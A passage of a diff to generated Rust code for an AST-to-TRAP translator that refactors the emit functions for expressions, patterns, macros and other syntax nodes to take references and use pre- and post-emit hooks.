-1015,18 +1438,23 @@ impl Translator<'_> { name, pat, }); - self.emit_location(label, &node); - emit_detached!(IdentPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(IdentPat, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_if_expr(&mut self, node: ast::IfExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let condition = node.condition().and_then(|x| self.emit_expr(x)); - let else_ = node.else_branch().and_then(|x| self.emit_else_branch(x)); - let then = node.then_branch().and_then(|x| self.emit_block_expr(x)); + pub(crate) fn emit_if_expr(&mut self, node: &ast::IfExpr) -> Option> { + pre_emit!(IfExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let condition = node.condition().and_then(|x| self.emit_expr(&x)); + let else_ = node.else_branch().and_then(|x| self.emit_else_branch(&x)); + let then = node.then_branch().and_then(|x| self.emit_block_expr(&x)); let label = self.trap.emit(generated::IfExpr { id: TrapId::Star, attrs, @@ -1034,24 +1462,33 @@ impl Translator<'_> { else_, then, }); - self.emit_location(label, &node); - emit_detached!(IfExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(IfExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_impl(&mut self, node: ast::Impl) -> Option> { - if self.should_be_excluded(&node) { return None; } - let assoc_item_list = node.assoc_item_list().and_then(|x| self.emit_assoc_item_list(x)); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); + pub(crate) fn emit_impl(&mut self, node: &ast::Impl) -> Option> { + pre_emit!(Impl, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let assoc_item_list = node + .assoc_item_list() + .and_then(|x| self.emit_assoc_item_list(&x)); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); let is_const = node.const_token().is_some(); let is_default = node.default_token().is_some(); let is_unsafe = node.unsafe_token().is_some(); - let self_ty = node.self_ty().and_then(|x| self.emit_type(x)); - let trait_ = node.trait_().and_then(|x| self.emit_type(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); - let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(x)); + let self_ty = node.self_ty().and_then(|x| self.emit_type(&x)); + let trait_ = node.trait_().and_then(|x| self.emit_type(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); + let where_clause = node.where_clause().and_then(|x| self.emit_where_clause(&x)); let label = self.trap.emit(generated::Impl { id: TrapId::Star, assoc_item_list, @@ -1065,114 +1502,169 @@ impl Translator<'_> { visibility, where_clause, }); - self.emit_location(label, &node); - emit_detached!(Impl, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Impl, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_impl_trait_type(&mut self, node: ast::ImplTraitType) -> Option> { - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); + pub(crate) fn emit_impl_trait_type( + &mut self, + node: &ast::ImplTraitType, + ) -> Option> { + pre_emit!(ImplTraitTypeRepr, self, node); + if self.should_be_excluded(node) { + return None; + } + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); let label = self.trap.emit(generated::ImplTraitTypeRepr { id: TrapId::Star, type_bound_list, }); - self.emit_location(label, &node); - emit_detached!(ImplTraitTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ImplTraitTypeRepr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_index_expr(&mut self, node: ast::IndexExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let base = node.base().and_then(|x| self.emit_expr(x)); - let index = node.index().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_index_expr( + &mut self, + node: &ast::IndexExpr, + ) -> Option> { + pre_emit!(IndexExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let base = node.base().and_then(|x| self.emit_expr(&x)); + let index = node.index().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::IndexExpr { id: TrapId::Star, attrs, base, index, }); - self.emit_location(label, &node); - emit_detached!(IndexExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); - Some(label) - } - - pub(crate) fn emit_infer_type(&mut self, node: ast::InferType) -> Option> { - let label = self.trap.emit(generated::InferTypeRepr { - id: TrapId::Star, - }); - self.emit_location(label, &node); - emit_detached!(InferTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(IndexExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_item_list(&mut self, node: ast::ItemList) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let items = node.items().filter_map(|x| self.emit_item(x)).collect(); + pub(crate) fn emit_infer_type( + &mut self, + node: &ast::InferType, + ) -> Option> { + pre_emit!(InferTypeRepr, self, node); + if self.should_be_excluded(node) { + return None; + } + let label = self + .trap + .emit(generated::InferTypeRepr { id: TrapId::Star }); + self.emit_location(label, node); + post_emit!(InferTypeRepr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); + Some(label) + } + pub(crate) fn emit_item_list( + &mut self, + node: &ast::ItemList, + ) -> Option> { + pre_emit!(ItemList, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let items = node.items().filter_map(|x| self.emit_item(&x)).collect(); let label = self.trap.emit(generated::ItemList { id: TrapId::Star, attrs, items, }); - self.emit_location(label, &node); - emit_detached!(ItemList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(ItemList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_label(&mut self, node: ast::Label) -> Option> { - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); + pub(crate) fn emit_label(&mut self, node: &ast::Label) -> Option> { + pre_emit!(Label, self, node); + if self.should_be_excluded(node) { + return None; + } + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); let label = self.trap.emit(generated::Label { id: TrapId::Star, lifetime, }); - self.emit_location(label, &node); - emit_detached!(Label, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Label, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_let_else(&mut self, node: ast::LetElse) -> Option> { - let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(x)); + pub(crate) fn emit_let_else( + &mut self, + node: &ast::LetElse, + ) -> Option> { + pre_emit!(LetElse, self, node); + if self.should_be_excluded(node) { + return None; + } + let block_expr = node.block_expr().and_then(|x| self.emit_block_expr(&x)); let label = self.trap.emit(generated::LetElse { id: TrapId::Star, block_expr, }); - self.emit_location(label, &node); - emit_detached!(LetElse, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(LetElse, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_let_expr(&mut self, node: ast::LetExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let scrutinee = node.expr().and_then(|x| self.emit_expr(x)); - let pat = node.pat().and_then(|x| self.emit_pat(x)); + pub(crate) fn emit_let_expr( + &mut self, + node: &ast::LetExpr, + ) -> Option> { + pre_emit!(LetExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let scrutinee = node.expr().and_then(|x| self.emit_expr(&x)); + let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::LetExpr { id: TrapId::Star, attrs, scrutinee, pat, }); - self.emit_location(label, &node); - emit_detached!(LetExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(LetExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_let_stmt(&mut self, node: ast::LetStmt) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let initializer = node.initializer().and_then(|x| self.emit_expr(x)); - let let_else = node.let_else().and_then(|x| self.emit_let_else(x)); - let pat = node.pat().and_then(|x| self.emit_pat(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); + pub(crate) fn emit_let_stmt( + &mut self, + node: &ast::LetStmt, + ) -> Option> { + pre_emit!(LetStmt, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let initializer = node.initializer().and_then(|x| self.emit_expr(&x)); + let let_else = node.let_else().and_then(|x| self.emit_let_else(&x)); + let pat = node.pat().and_then(|x| self.emit_pat(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); let label = self.trap.emit(generated::LetStmt { id: TrapId::Star, attrs, @@ -1181,121 +1673,181 @@ impl Translator<'_> { pat, type_repr, }); - self.emit_location(label, &node); - emit_detached!(LetStmt, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(LetStmt, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_lifetime(&mut self, node: ast::Lifetime) -> Option> { + pub(crate) fn emit_lifetime( + &mut self, + node: &ast::Lifetime, + ) -> Option> { + pre_emit!(Lifetime, self, node); + if self.should_be_excluded(node) { + return None; + } let text = node.try_get_text(); let label = self.trap.emit(generated::Lifetime { id: TrapId::Star, text, }); - self.emit_location(label, &node); - emit_detached!(Lifetime, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Lifetime, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_lifetime_arg(&mut self, node: ast::LifetimeArg) -> Option> { - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); + pub(crate) fn emit_lifetime_arg( + &mut self, + node: &ast::LifetimeArg, + ) -> Option> { + pre_emit!(LifetimeArg, self, node); + if self.should_be_excluded(node) { + return None; + } + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); let label = self.trap.emit(generated::LifetimeArg { id: TrapId::Star, lifetime, }); - self.emit_location(label, &node); - emit_detached!(LifetimeArg, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(LifetimeArg, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_lifetime_param(&mut self, node: ast::LifetimeParam) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); + pub(crate) fn emit_lifetime_param( + &mut self, + node: &ast::LifetimeParam, + ) -> Option> { + pre_emit!(LifetimeParam, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); let label = self.trap.emit(generated::LifetimeParam { id: TrapId::Star, attrs, lifetime, type_bound_list, }); - self.emit_location(label, &node); - emit_detached!(LifetimeParam, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(LifetimeParam, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_literal(&mut self, node: ast::Literal) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); + pub(crate) fn emit_literal( + &mut self, + node: &ast::Literal, + ) -> Option> { + pre_emit!(LiteralExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let text_value = node.try_get_text(); let label = self.trap.emit(generated::LiteralExpr { id: TrapId::Star, attrs, text_value, }); - self.emit_location(label, &node); - emit_detached!(LiteralExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(LiteralExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_literal_pat(&mut self, node: ast::LiteralPat) -> Option> { - let literal = node.literal().and_then(|x| self.emit_literal(x)); + pub(crate) fn emit_literal_pat( + &mut self, + node: &ast::LiteralPat, + ) -> Option> { + pre_emit!(LiteralPat, self, node); + if self.should_be_excluded(node) { + return None; + } + let literal = node.literal().and_then(|x| self.emit_literal(&x)); let label = self.trap.emit(generated::LiteralPat { id: TrapId::Star, literal, }); - self.emit_location(label, &node); - emit_detached!(LiteralPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(LiteralPat, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_loop_expr(&mut self, node: ast::LoopExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let label = node.label().and_then(|x| self.emit_label(x)); - let loop_body = node.loop_body().and_then(|x| self.emit_block_expr(x)); + pub(crate) fn emit_loop_expr( + &mut self, + node: &ast::LoopExpr, + ) -> Option> { + pre_emit!(LoopExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let label = node.label().and_then(|x| self.emit_label(&x)); + let loop_body = node.loop_body().and_then(|x| self.emit_block_expr(&x)); let label = self.trap.emit(generated::LoopExpr { id: TrapId::Star, attrs, label, loop_body, }); - self.emit_location(label, &node); - emit_detached!(LoopExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(LoopExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_macro_call(&mut self, node: ast::MacroCall) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let path = node.path().and_then(|x| self.emit_path(x)); - let token_tree = node.token_tree().and_then(|x| self.emit_token_tree(x)); + pub(crate) fn emit_macro_call( + &mut self, + node: &ast::MacroCall, + ) -> Option> { + pre_emit!(MacroCall, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let path = node.path().and_then(|x| self.emit_path(&x)); + let token_tree = node.token_tree().and_then(|x| self.emit_token_tree(&x)); let label = self.trap.emit(generated::MacroCall { id: TrapId::Star, attrs, path, token_tree, }); - self.emit_location(label, &node); - emit_detached!(MacroCall, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(MacroCall, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_macro_def(&mut self, node: ast::MacroDef) -> Option> { - if self.should_be_excluded(&node) { return None; } - let args = node.args().and_then(|x| self.emit_token_tree(x)); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let body = node.body().and_then(|x| self.emit_token_tree(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + pub(crate) fn emit_macro_def( + &mut self, + node: &ast::MacroDef, + ) -> Option> { + pre_emit!(MacroDef, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let args = node.args().and_then(|x| self.emit_token_tree(&x)); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let body = node.body().and_then(|x| self.emit_token_tree(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::MacroDef { id: TrapId::Star, args, @@ -1304,54 +1856,80 @@ impl Translator<'_> { name, visibility, }); - self.emit_location(label, &node); - emit_detached!(MacroDef, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(MacroDef, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_macro_expr(&mut self, node: ast::MacroExpr) -> Option> { - let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(x)); + pub(crate) fn emit_macro_expr( + &mut self, + node: &ast::MacroExpr, + ) -> Option> { + pre_emit!(MacroExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(&x)); let label = self.trap.emit(generated::MacroExpr { id: TrapId::Star, macro_call, }); - self.emit_location(label, &node); - emit_detached!(MacroExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(MacroExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_macro_items(&mut self, node: ast::MacroItems) -> Option> { - let items = node.items().filter_map(|x| self.emit_item(x)).collect(); + pub(crate) fn emit_macro_items( + &mut self, + node: &ast::MacroItems, + ) -> Option> { + pre_emit!(MacroItems, self, node); + if self.should_be_excluded(node) { + return None; + } + let items = node.items().filter_map(|x| self.emit_item(&x)).collect(); let label = self.trap.emit(generated::MacroItems { id: TrapId::Star, items, }); - self.emit_location(label, &node); - emit_detached!(MacroItems, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(MacroItems, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_macro_pat(&mut self, node: ast::MacroPat) -> Option> { - let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(x)); + pub(crate) fn emit_macro_pat( + &mut self, + node: &ast::MacroPat, + ) -> Option> { + pre_emit!(MacroPat, self, node); + if self.should_be_excluded(node) { + return None; + } + let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(&x)); let label = self.trap.emit(generated::MacroPat { id: TrapId::Star, macro_call, }); - self.emit_location(label, &node); - emit_detached!(MacroPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(MacroPat, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_macro_rules(&mut self, node: ast::MacroRules) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let name = node.name().and_then(|x| self.emit_name(x)); - let token_tree = node.token_tree().and_then(|x| self.emit_token_tree(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + pub(crate) fn emit_macro_rules( + &mut self, + node: &ast::MacroRules, + ) -> Option> { + pre_emit!(MacroRules, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let name = node.name().and_then(|x| self.emit_name(&x)); + let token_tree = node.token_tree().and_then(|x| self.emit_token_tree(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::MacroRules { id: TrapId::Star, attrs, @@ -1359,44 +1937,67 @@ impl Translator<'_> { token_tree, visibility, }); - self.emit_location(label, &node); - emit_detached!(MacroRules, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(MacroRules, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_macro_stmts(&mut self, node: ast::MacroStmts) -> Option> { - let tail_expr = node.expr().and_then(|x| self.emit_expr(x)); - let statements = node.statements().filter_map(|x| self.emit_stmt(x)).collect(); + pub(crate) fn emit_macro_stmts( + &mut self, + node: &ast::MacroStmts, + ) -> Option> { + pre_emit!(MacroBlockExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + let tail_expr = node.expr().and_then(|x| self.emit_expr(&x)); + let statements = node + .statements() + .filter_map(|x| self.emit_stmt(&x)) + .collect(); let label = self.trap.emit(generated::MacroBlockExpr { id: TrapId::Star, tail_expr, statements, }); - self.emit_location(label, &node); - emit_detached!(MacroBlockExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(MacroBlockExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_macro_type(&mut self, node: ast::MacroType) -> Option> { - let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(x)); + pub(crate) fn emit_macro_type( + &mut self, + node: &ast::MacroType, + ) -> Option> { + pre_emit!(MacroTypeRepr, self, node); + if self.should_be_excluded(node) { + return None; + } + let macro_call = node.macro_call().and_then(|x| self.emit_macro_call(&x)); let label = self.trap.emit(generated::MacroTypeRepr { id: TrapId::Star, macro_call, }); - self.emit_location(label, &node); - emit_detached!(MacroTypeRepr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(MacroTypeRepr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_match_arm(&mut self, node: ast::MatchArm) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); - let guard = node.guard().and_then(|x| self.emit_match_guard(x)); - let pat = node.pat().and_then(|x| self.emit_pat(x)); + pub(crate) fn emit_match_arm( + &mut self, + node: &ast::MatchArm, + ) -> Option> { + pre_emit!(MatchArm, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); + let guard = node.guard().and_then(|x| self.emit_match_guard(&x)); + let pat = node.pat().and_then(|x| self.emit_pat(&x)); let label = self.trap.emit(generated::MatchArm { id: TrapId::Star, attrs, @@ -1404,61 +2005,91 @@ impl Translator<'_> { guard, pat, }); - self.emit_location(label, &node); - emit_detached!(MatchArm, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(MatchArm, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_match_arm_list(&mut self, node: ast::MatchArmList) -> Option> { - if self.should_be_excluded(&node) { return None; } - let arms = node.arms().filter_map(|x| self.emit_match_arm(x)).collect(); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); + pub(crate) fn emit_match_arm_list( + &mut self, + node: &ast::MatchArmList, + ) -> Option> { + pre_emit!(MatchArmList, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let arms = node + .arms() + .filter_map(|x| self.emit_match_arm(&x)) + .collect(); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); let label = self.trap.emit(generated::MatchArmList { id: TrapId::Star, arms, attrs, }); - self.emit_location(label, &node); - emit_detached!(MatchArmList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(MatchArmList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_match_expr(&mut self, node: ast::MatchExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let scrutinee = node.expr().and_then(|x| self.emit_expr(x)); - let match_arm_list = node.match_arm_list().and_then(|x| self.emit_match_arm_list(x)); + pub(crate) fn emit_match_expr( + &mut self, + node: &ast::MatchExpr, + ) -> Option> { + pre_emit!(MatchExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let scrutinee = node.expr().and_then(|x| self.emit_expr(&x)); + let match_arm_list = node + .match_arm_list() + .and_then(|x| self.emit_match_arm_list(&x)); let label = self.trap.emit(generated::MatchExpr { id: TrapId::Star, attrs, scrutinee, match_arm_list, }); - self.emit_location(label, &node); - emit_detached!(MatchExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(MatchExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_match_guard(&mut self, node: ast::MatchGuard) -> Option> { - let condition = node.condition().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_match_guard( + &mut self, + node: &ast::MatchGuard, + ) -> Option> { + pre_emit!(MatchGuard, self, node); + if self.should_be_excluded(node) { + return None; + } + let condition = node.condition().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::MatchGuard { id: TrapId::Star, condition, }); - self.emit_location(label, &node); - emit_detached!(MatchGuard, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(MatchGuard, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_meta(&mut self, node: ast::Meta) -> Option> { - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_meta(&mut self, node: &ast::Meta) -> Option> { + pre_emit!(Meta, self, node); + if self.should_be_excluded(node) { + return None; + } + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let is_unsafe = node.unsafe_token().is_some(); - let path = node.path().and_then(|x| self.emit_path(x)); - let token_tree = node.token_tree().and_then(|x| self.emit_token_tree(x)); + let path = node.path().and_then(|x| self.emit_path(&x)); + let token_tree = node.token_tree().and_then(|x| self.emit_token_tree(&x)); let label = self.trap.emit(generated::Meta { id: TrapId::Star, expr, @@ -1466,19 +2097,29 @@ impl Translator<'_> { path, token_tree, }); - self.emit_location(label, &node); - emit_detached!(Meta, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Meta, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_method_call_expr(&mut self, node: ast::MethodCallExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let arg_list = node.arg_list().and_then(|x| self.emit_arg_list(x)); - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let generic_arg_list = node.generic_arg_list().and_then(|x| self.emit_generic_arg_list(x)); - let identifier = node.name_ref().and_then(|x| self.emit_name_ref(x)); - let receiver = node.receiver().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_method_call_expr( + &mut self, + node: &ast::MethodCallExpr, + ) -> Option> { + pre_emit!(MethodCallExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let arg_list = node.arg_list().and_then(|x| self.emit_arg_list(&x)); + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let generic_arg_list = node + .generic_arg_list() + .and_then(|x| self.emit_generic_arg_list(&x)); + let identifier = node.name_ref().and_then(|x| self.emit_name_ref(&x)); + let receiver = node.receiver().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::MethodCallExpr { id: TrapId::Star, arg_list, @@ -1487,18 +2128,23 @@ impl Translator<'_> { identifier, receiver, }); - self.emit_location(label, &node); - emit_detached!(MethodCallExpr, self, node, label); - 